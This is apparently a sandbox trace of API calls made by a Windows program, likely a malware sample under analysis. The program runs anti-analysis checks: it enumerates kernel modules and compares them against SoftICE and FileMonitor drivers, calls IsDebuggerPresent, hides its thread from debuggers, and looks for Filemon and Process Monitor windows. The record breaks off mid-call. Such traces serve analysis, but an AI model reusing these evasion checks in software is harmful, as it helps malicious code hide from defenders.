[0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="ndiswan.sys") returned 1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="raspppoe.sys") returned -1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="raspptp.sys") returned -1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="rassstp.sys") returned -1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpbus.sys") returned -1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdclass.sys") returned 1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="mouclass.sys") returned 1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="swenum.sys") returned -1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="ks.sys") returned 1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="umbus.sys") returned -1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="usbhub.sys") returned -1 [0259.807] lstrcmpiA (lpString1="ntice.sys", lpString2="NDProxy.SYS") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="HdAudio.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="portcls.sys") returned -1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="drmk.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="ksthunk.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="crashdmp.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpata.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_msahci.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpfve.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="win32k.sys") returned -1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="Dxapi.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="dxg.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="monitor.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="TSDDD.dll") returned -1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="framebuf.dll") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="hidusb.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDCLASS.SYS") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDPARSE.SYS") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="USBD.SYS") returned -1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdhid.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="luafv.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="mouhid.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="lltdio.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="rspndr.sys") returned -1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="HTTP.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="bowser.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="mpsdrv.sys") returned 1 [0259.808] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb.sys") returned 1 [0259.809] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb10.sys") returned 1 [0259.809] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb20.sys") returned 1 [0259.809] lstrcmpiA (lpString1="ntice.sys", lpString2="ntdll.dll") returned 1 [0259.809] lstrcmpiA (lpString1="ntice.sys", lpString2="smss.exe") returned -1 [0259.809] lstrcmpiA (lpString1="ntice.sys", lpString2="apisetschema.dll") returned 1 [0259.809] lstrcmpiA (lpString1="iceext.sys", lpString2="ntoskrnl.exe") returned -1 [0259.809] lstrcmpiA (lpString1="iceext.sys", lpString2="hal.dll") returned 1 [0259.809] lstrcmpiA (lpString1="iceext.sys", lpString2="kdcom.dll") returned -1 [0259.809] lstrcmpiA (lpString1="iceext.sys", lpString2="mcupdate_GenuineIntel.dll") returned -1 [0259.809] lstrcmpiA (lpString1="iceext.sys", lpString2="PSHED.dll") returned -1 [0259.809] lstrcmpiA (lpString1="iceext.sys", lpString2="CLFS.SYS") returned 1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="CI.dll") returned 1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="Wdf01000.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="WDFLDR.SYS") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="ACPI.sys") returned 1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="WMILIB.SYS") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="msisadrv.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="pci.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="vdrvroot.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="partmgr.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgr.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgrx.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="mountmgr.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="atapi.sys") returned 1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="ataport.SYS") returned 1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="msahci.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="PCIIDEX.SYS") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="amdxata.sys") returned 1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="fltmgr.sys") returned 1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="fileinfo.sys") returned 1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="Ntfs.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="msrpc.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecdd.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="cng.sys") returned 1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="pcw.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="Fs_Rec.sys") returned 1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="ndis.sys") returned -1 [0259.810] lstrcmpiA (lpString1="iceext.sys", lpString2="NETIO.SYS") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecpkg.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="tcpip.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="fwpkclnt.sys") returned 1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="vmstorfl.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="volsnap.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="spldr.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="rdyboost.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="mup.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="hwpolicy.sys") returned 1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="fvevol.sys") returned 1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="disk.sys") returned 1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="CLASSPNP.SYS") returned 1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="Null.SYS") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="Beep.SYS") returned 1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="vga.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="VIDEOPRT.SYS") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="watchdog.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="RDPCDD.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpencdd.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="rdprefmp.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="Msfs.SYS") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="Npfs.SYS") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="tdx.sys") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="TDI.SYS") returned -1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="afd.sys") returned 1 [0259.811] lstrcmpiA (lpString1="iceext.sys", lpString2="netbt.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="wfplwf.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="pacer.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="netbios.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="wanarp.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="termdd.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="rdbss.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="nsiproxy.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="mssmbios.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="discache.sys") returned 1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="csc.sys") returned 1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="dfsc.sys") returned 1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="blbdrive.sys") returned 1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="tunnel.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="vgapnp.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="HDAudBus.sys") returned 1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="usbehci.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="USBPORT.SYS") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="E1G6032E.sys") returned 1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="intelppm.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="CompositeBus.sys") returned 1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="AgileVpn.sys") returned 1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="rasl2tp.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="ndistapi.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="ndiswan.sys") returned -1 [0259.812] lstrcmpiA (lpString1="iceext.sys", lpString2="raspppoe.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="raspptp.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="rassstp.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpbus.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdclass.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="mouclass.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="swenum.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="ks.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="umbus.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="usbhub.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="NDProxy.SYS") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="HdAudio.sys") returned 1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="portcls.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="drmk.sys") returned 1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="ksthunk.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="crashdmp.sys") returned 1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpata.sys") returned 1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_msahci.sys") returned 1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpfve.sys") returned 1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="win32k.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="Dxapi.sys") returned 1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="dxg.sys") returned 1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="monitor.sys") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="TSDDD.dll") returned -1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="framebuf.dll") returned 1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="hidusb.sys") returned 1 [0259.813] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDCLASS.SYS") returned 1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDPARSE.SYS") returned 1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="USBD.SYS") returned -1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdhid.sys") returned -1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="luafv.sys") returned -1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="mouhid.sys") returned -1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="lltdio.sys") returned -1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="rspndr.sys") returned -1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="HTTP.sys") returned 1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="bowser.sys") returned 1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="mpsdrv.sys") returned -1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="mrxsmb.sys") returned -1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="mrxsmb10.sys") returned -1 [0259.814] lstrcmpiA (lpString1="iceext.sys", lpString2="mrxsmb20.sys") returned -1 [0259.821] IsDebuggerPresent () returned 0 [0259.821] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0259.823] FindWindowA (lpClassName="FilemonClass", lpWindowName=0x0) returned 0x0 [0259.823] FindWindowA (lpClassName=0x0, lpWindowName="File Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0259.823] FindWindowA (lpClassName="PROCMON_WINDOW_CLASS", lpWindowName=0x0) returned 0x0 [0259.823] FindWindowA (lpClassName=0x0, lpWindowName="Process Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0259.823] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0259.823] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0259.823] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0259.823] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x240000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x240000, ResultLength=0x0) returned 0x0 [0259.823] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntoskrnl.exe") returned -1 [0259.823] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hal.dll") returned -1 [0259.823] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kdcom.dll") returned -1 [0259.823] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mcupdate_Genuin") returned -1 [0259.823] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PSHED.dll") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLFS.SYS") returned 1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CI.dll") returned 1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wdf01000.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WDFLDR.SYS") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ACPI.sys") returned 1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WMILIB.SYS") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msisadrv.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pci.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vdrvroot.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="partmgr.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgr.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgrx.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mountmgr.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="atapi.sys") returned 1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ataport.SYS") returned 1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msahci.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PCIIDEX.SYS") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="amdxata.sys") returned 1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fltmgr.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fileinfo.sys") returned 1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Ntfs.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msrpc.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecdd.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cng.sys") returned 1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pcw.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Fs_Rec.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndis.sys") returned -1 [0259.824] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NETIO.SYS") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecpkg.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpip.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fwpkclnt.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vmstorfl.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volsnap.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="spldr.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdyboost.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mup.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hwpolicy.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fvevol.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="disk.sys") returned 1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLASSPNP.SYS") returned 1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Null.SYS") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Beep.SYS") returned 1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vga.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="VIDEOPRT.SYS") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="watchdog.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="RDPCDD.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpencdd.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdprefmp.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Msfs.SYS") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Npfs.SYS") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tdx.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TDI.SYS") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="afd.sys") returned 1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbt.sys") returned -1 [0259.825] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wfplwf.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pacer.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbios.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wanarp.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="termdd.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdbss.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="nsiproxy.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mssmbios.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="discache.sys") returned 1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="csc.sys") returned 1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dfsc.sys") returned 1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="blbdrive.sys") returned 1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tunnel.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vgapnp.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HDAudBus.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbehci.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBPORT.SYS") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="E1G6032E.sys") returned 1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelppm.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CompositeBus.sy") returned 1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="AgileVpn.sys") returned 1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rasl2tp.sys") returned -1 [0259.883] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndistapi.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndiswan.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspppoe.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspptp.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rassstp.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpbus.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdclass.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouclass.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="swenum.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ks.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="umbus.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbhub.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NDProxy.SYS") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HdAudio.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="portcls.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="drmk.sys") returned 1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksthunk.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="crashdmp.sys") returned 1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpata.sy") returned 1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_msahci.sys") returned 1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpfve.sy") returned 1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32k.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Dxapi.sys") returned 1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxg.sys") returned 1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="monitor.sys") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TSDDD.dll") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="framebuf.dll") returned -1 [0259.884] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hidusb.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDCLASS.SYS") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDPARSE.SYS") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBD.SYS") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdhid.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="luafv.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouhid.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="lltdio.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rspndr.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HTTP.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="bowser.sys") returned 1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mpsdrv.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb10.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb20.sys") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntdll.dll") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="smss.exe") returned -1 [0259.885] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="apisetschema.dl") returned 1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="ntosk") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="hal.d") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="kdcom") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="mcupd") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="PSHED") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="CLFS.") returned 1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="CI.dl") returned 1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="Wdf01") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="WDFLD") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="ACPI.") returned 1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="WMILI") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="msisa") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="pci.s") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="vdrvr") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="partm") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0259.886] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0259.886] lstrcmpiA 